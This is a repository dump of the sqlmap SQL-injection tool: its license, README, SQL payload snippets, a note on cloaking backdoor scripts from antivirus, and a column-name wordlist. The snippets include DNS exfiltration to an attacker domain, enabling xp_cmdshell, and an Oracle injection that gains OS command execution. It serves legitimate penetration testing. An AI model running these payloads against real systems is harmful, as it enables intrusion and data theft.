sqlmap developers or via Git pull request, checking them into the sqlmap
source code repository, it is understood (unless you specify otherwise)
that you are offering the sqlmap project the unlimited, non-exclusive
right to reuse, modify, and relicense the code. sqlmap will always be
available Open Source, but this is important because the inability to
relicense code has caused devastating problems for other Free Software
projects (such as KDE and NASM). If you wish to specify special license
conditions of your contributions, just say so when you send them.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License v2.0 for more details at
http://www.gnu.org/licenses/gpl-2.0.html, or below
****************************************************************************
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
================================================
FILE: README.md
================================================
# sqlmap 
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
Screenshots
----

You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
Installation
----
You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform.
Usage
----
To get a list of basic options and switches use:
python sqlmap.py -h
To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run [here](https://asciinema.org/a/46601).
To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Links
----
* Homepage: https://sqlmap.org
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
Translations
----
* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md)
* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md)
* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md)
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md)
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md)
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md)
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md)
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md)
* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)
================================================
FILE: data/procs/README.txt
================================================
Files in this folder represent SQL snippets used by sqlmap on the target
system.
They are licensed under the terms of the GNU Lesser General Public License
where not specified otherwise.
================================================
FILE: data/procs/mssqlserver/activate_sp_oacreate.sql
================================================
EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'ole automation procedures',1;
RECONFIGURE WITH OVERRIDE
================================================
FILE: data/procs/mssqlserver/configure_openrowset.sql
================================================
EXEC master..sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE WITH OVERRIDE
================================================
FILE: data/procs/mssqlserver/configure_xp_cmdshell.sql
================================================
EXEC master..sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'xp_cmdshell',%ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'show advanced options',0;
RECONFIGURE WITH OVERRIDE
================================================
FILE: data/procs/mssqlserver/create_new_xp_cmdshell.sql
================================================
DECLARE @%RANDSTR% nvarchar(999);
set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
EXEC master..sp_executesql @%RANDSTR%
================================================
FILE: data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
================================================
EXEC master..sp_dropextendedproc 'xp_cmdshell'
================================================
FILE: data/procs/mssqlserver/dns_request.sql
================================================
DECLARE @host varchar(1024);
SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')
================================================
FILE: data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
================================================
EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll'
================================================
FILE: data/procs/mssqlserver/run_statement_as_user.sql
================================================
SELECT * FROM OPENROWSET('SQLOLEDB','';'%USER%';'%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
# SELECT * FROM OPENROWSET('SQLNCLI', 'server=(local);trusted_connection=yes','SET FMTONLY OFF SELECT 1;%STATEMENT%')
# SELECT * FROM OPENROWSET('SQLOLEDB','Network=DBMSSOCN;Address=;uid=%USER%;pwd=%PASSWORD%','SET FMTONLY OFF %STATEMENT%')
================================================
FILE: data/procs/mysql/dns_request.sql
================================================
SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%'))
================================================
FILE: data/procs/mysql/write_file_limit.sql
================================================
LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -
================================================
FILE: data/procs/oracle/dns_request.sql
================================================
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/"> %remote;]>'),'/l') FROM dual
================================================
FILE: data/procs/oracle/read_file_export_extension.sql
================================================
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
================================================
FILE: data/procs/postgresql/dns_request.sql
================================================
DROP TABLE IF EXISTS %RANDSTR1%;
# https://wiki.postgresql.org/wiki/CREATE_OR_REPLACE_LANGUAGE <- if "CREATE LANGUAGE plpgsql" is required
CREATE TABLE %RANDSTR1%(%RANDSTR2% text);
CREATE OR REPLACE FUNCTION %RANDSTR3%()
RETURNS VOID AS $$
DECLARE %RANDSTR4% TEXT;
DECLARE %RANDSTR5% TEXT;
BEGIN
SELECT INTO %RANDSTR5% (%QUERY%);
%RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\'';
EXECUTE %RANDSTR4%;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT %RANDSTR3%();
================================================
FILE: data/shell/README.txt
================================================
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
To prepare the original scripts to the cloaked form use this command:
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
To get back them into the original form use this:
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
================================================
FILE: data/txt/common-columns.txt
================================================
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
# See the file 'LICENSE' for copying permission
id
name
user_id
description
username
type
title
userid
group_id
first_name
itemid
category_id
firstname
code
pno
nextval
hostid
table_name
cid
email
smtp_helo
platformid
dept_id
album_id
key_
the
child_cfg
jid
platform
expression
functionid
smtp_server
uid
clock
alarmid
alertid
private_key
actionid
triggerid
triggertemplateid
local_spi
delay
sid
mediaid
peer_cfg
smtp_email
order_id
shared_secret
itemtemplateid
certificate
insertid
role_id
song_id
item_id
product_id
blob_id
distip
artist_id
empno
customer_name
grade
branch_name
portal_id
deptno
data
rid
app_id
class
loan_number
countryid
enabled
fname
country
ename
object_id
idtype
groupid
rowid
accno
account_number
event
passwd
sequence_id
datarow
owner_id
display
pid
venue
locked
eno
serviceid
alias
categoryid
canoccupantsinvite
keyword
channel_id
loginrestrictedtonickname
registrationenabled
logenabled
ip
maxnumber
tag_id
alert_id
cananyonediscoverjid
address
sumdatarow
emp_id
ono
anyone
surname
subdomain
maxusers
ccc
datacol
os
status_id
node_id
essn
last_name
iteration
canchangenickname
canoccupantschangesubject
membersonly
created_by
succ_rate
dnumber
service_id
mid
publicroom
propvalue
empty_days
moderated
customer_id
wdatarow
persistent
authorid
patch_status_id
submitted_by
resolution_id
osvendor
routeid
arch
fid
assigned_to
ns
event_id
problem_code
city
note
channel
element_id
cat_id
position_id
schema_id
area
bug_category_id
session_id
project_id
random
nsprefix
archive_id
nsschema
view_id
pname
bug_group_id
lastname
link_id
langid
catname
bug_id
magic_string
m_id
zip
patch_category_id
custno
idcountry
stopid
identifier
category
isbn
group_project_id
extension_id
state
password
page
extension
spellid
dno
instanceof
network
priority
aname
person_id
ncbofile
student_number
term_id
uno
path_id
aid
location_id
propertyno
course_number
tid
langug_code
variable
dept_desc
orderno
ownerno
partof
clientno
white
macaddr
jobtypeid
direction
md5sum
orga_id
parentcategoryid
beginstateid
mname
qno
src
featurename
client_id
route_id
ticker
version
modulename
maty_id
currentstateid
userinfo_id
column_id
imageinfo_id
staffno
lid
metadatainfoid
context
app_title
dest
attributecategory_id
operation_type
dnum
pers_id_registerer
datasource
connectorid
our_loc
country_name
dname
capital
search_id
statechangeid
rightid
endstateid
distconnectorid
walnut
distmacaddr
pixsize
jobid
revid
match_cid
branchno
prepend_digits
stockno
ncbofileid
object_type
type_id
pubid
qagent
office
db_name
bank
dummy
storyname
col
petty
qname
store_id
inv_id
inventory
gift
cno
item
c_sec_id
row_id
price
loc_id
ssn
c_id
sname
parent
allowance
color
group_name
accounts
vendorid
gifi_accno
movie_id
rate
company
subid
commentpath
protocol_action_id
topic_id
s_id
config_id
long
link
copyright
vehicle
customerid
customer
f_id
chart_id
url
host
loans
charttype
imagefile
data_set_id
guest_ip
biosample_id
affiliation_id
os_id
street_id
book_code
object_name
start_date
form_id
itemno
provincial
confid
ratingid
drinker
qname_id
whatsdom
config_name
ship_id
investigator_id
smilies_id
cal_id
license_id
conf
contact_id
procedure_id
column_name
chromosome_id
tf_key
agent_specialtyid
users_id
gid
publisher_code
setting
format_id
word
slogan
superssn
product
referredby
operationid
ban_ip
p_id
lbl_aom_unaccessible_shipmethod
origin
comment_id
product_version
probe_id
orderdate
ordernumber
data_type_id
publisherid
lake_id
course_id
questionid
student_id
user_name
answerid
hashtag
preference_id
author_num
branch_num
derived_id
factoryid
filterid
log
pnumber
specialtyid
plugin_id
aa
file
dept_number
action_attribute_id
cpr
storeid
progenitor_id
staff_number
deptid
semester
poi_id
part_id
cell_line_id
transaction_id
agentid
regionid
token
serial_no
experimental_data_set_id
cp_id
the_geom
model
o_id
personid
display_name
salesperson_id
dependent_name
license
tablename
employee_id
e_id
id_group
location
bb
languageid
int4
msg_id
department
book_id
ingredientid
action_type_id
maker
app
id_customer
this
entry_id
county_id
protocol_type_id
empnbr
unit_number
bar
studentid
dbid
title_id
cname
emp_num
owner
course_name
editionnumber
sessionid
mealid
com_id
text
chip_layout_id
watchlistid
qty
data_set_type_id
orderid
module_id
c1
dlocation
domainid
course_no
mgrssn
id_log
access_control_type_id
account_id
checking
protocol_id
request_id
settingsid
lname
sale_date
module_addr
flag
# spanish
usuario
nombre
contrasena
consumidor
clave
tecla
llave
chaveta
tono
cuna
correo
contrasenia
# german
benutzername
benutzer
passwort
kennwort
parole
losungswort
losung
kennung
motto
stichwort
schlusselwort
# french
utilisateur
usager
consommateur
nom
mot
passe
cle
touche
clef
# italian
utente
nome
utilizzatore
parola
chiave
tasto
pulsante
chiavetta
cifrario
# portuguese
usufrutuario
chave
cavilha
# slavic
korisnik
sifra
lozinka
kljuc
# turkish
isim
ad
adi
soyisim
soyad
soyadi
kimlik
kimlikno
tckimlikno
tckimlik
yonetici
sil
silinmis
numara
sira
lokasyon
kullanici
kullanici_adi
sifre
giris
pasif
posta
adres
is_adres
ev_adres
is_adresi
ev_adresi
isadresi
isadres
evadresi
evadres
il
ilce
eposta
eposta_adres
epostaadres
eposta_adresi
epostaadresi
e-posta
e-posta_adres
e-postaadres
e-posta_adresi
e-postaadresi
e_posta
e_posta_adres
e_postaadres
e_posta_adresi
e_postaadresi
baglanti
gun
ay
yil
saat
tarih
guncelleme
guncellemetarih
guncelleme_tarih
guncellemetarihi
guncelleme_tarihi
yetki
cinsiyet
ulke
guncel
vergi
vergino
vergi_no
yas
dogum
dogumtarih
dogum_tarih
dogumtarihi
dogum_tarihi
telefon_is
telefon_ev
telefonis
telefonev
ev_telefonu
is_telefonu
ev_telefon
is_telefon
evtelefonu
istelefonu
evtelefon
istelefon
kontak
kontaklar
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
user
pass
cc_number
emri
fjalekalimi
pwd
customers_email_address
customers_password
user_password
user_pass
admin_user
admin_password
admin_pass
usern
user_n
users
login
logins
login_user
login_admin
login_username
user_username
user_login
auid
apwd
adminid
admin_id
adminuser
adminuserid
admin_userid
adminusername
admin_username
adminname
admin_name
usr
usr_n
usrname
usr_name
usrpass
usr_pass
usrnam
nc
myusername
mail
emni
logohu
punonjes
kpro_user
wp_users
emniplote
perdoruesi
perdorimi
punetoret
logini
llogaria
fjalekalimin
kodi
emer
ime
korisnici
user1
administrator
administrator_name
mem_login
login_password
login_pass
login_passwd
login_pwd
psw
pass1word
pass_word
passw
pass_w
user_passwd
userpass
userpassword
userpwd
user_pwd
useradmin
user_admin
mypassword
passwrd
admin_pwd
admin_passwd
mem_password
memlogin
e_mail
usrn
u_name
uname
mempassword
mem_pass
mem_passwd
mem_pwd
p_word
pword
p_assword
myname
my_username
my_name
my_password
my_email
cvvnumber
about
access
accnt
accnts
account
admin
adminemail
adminlogin
adminmail
admins
aim
auth
authenticate
authentication
blog
cc_expires
cc_owner
cc_type
cfg
clientname
clientpassword
clientusername
config
contact
converge_pass_hash
converge_pass_salt
crack
customers
cvvnumber]
db_database_name
db_hostname
db_password
db_username
download
e-mail
emailaddress
full
group
hash
hashsalt
homepage
icq
icq_number
id_member
images
index
ip_address
last_ip
last_login
login_name
login_pw
loginkey
loginout
logo
md5hash
member
member_id
member_login_key
member_name
memberid
membername
members
new
news
nick
number
nummer
passhash
pass_hash
password_hash
passwordsalt
personal_key
phone
privacy
pw
pwrd
salt
search
secretanswer
secretquestion
serial
session_member_id
session_member_login_key
sesskey
spacer
status
store
store1
store2
store3
store4
table_prefix
temp_pass
temp_password
temppass
temppasword
un
user_email
user_icq
user_ip
user_level
user_passw
user_pw
user_pword
user_pwrd
user_un
user_uname
user_usernm
user_usernun
user_usrnm
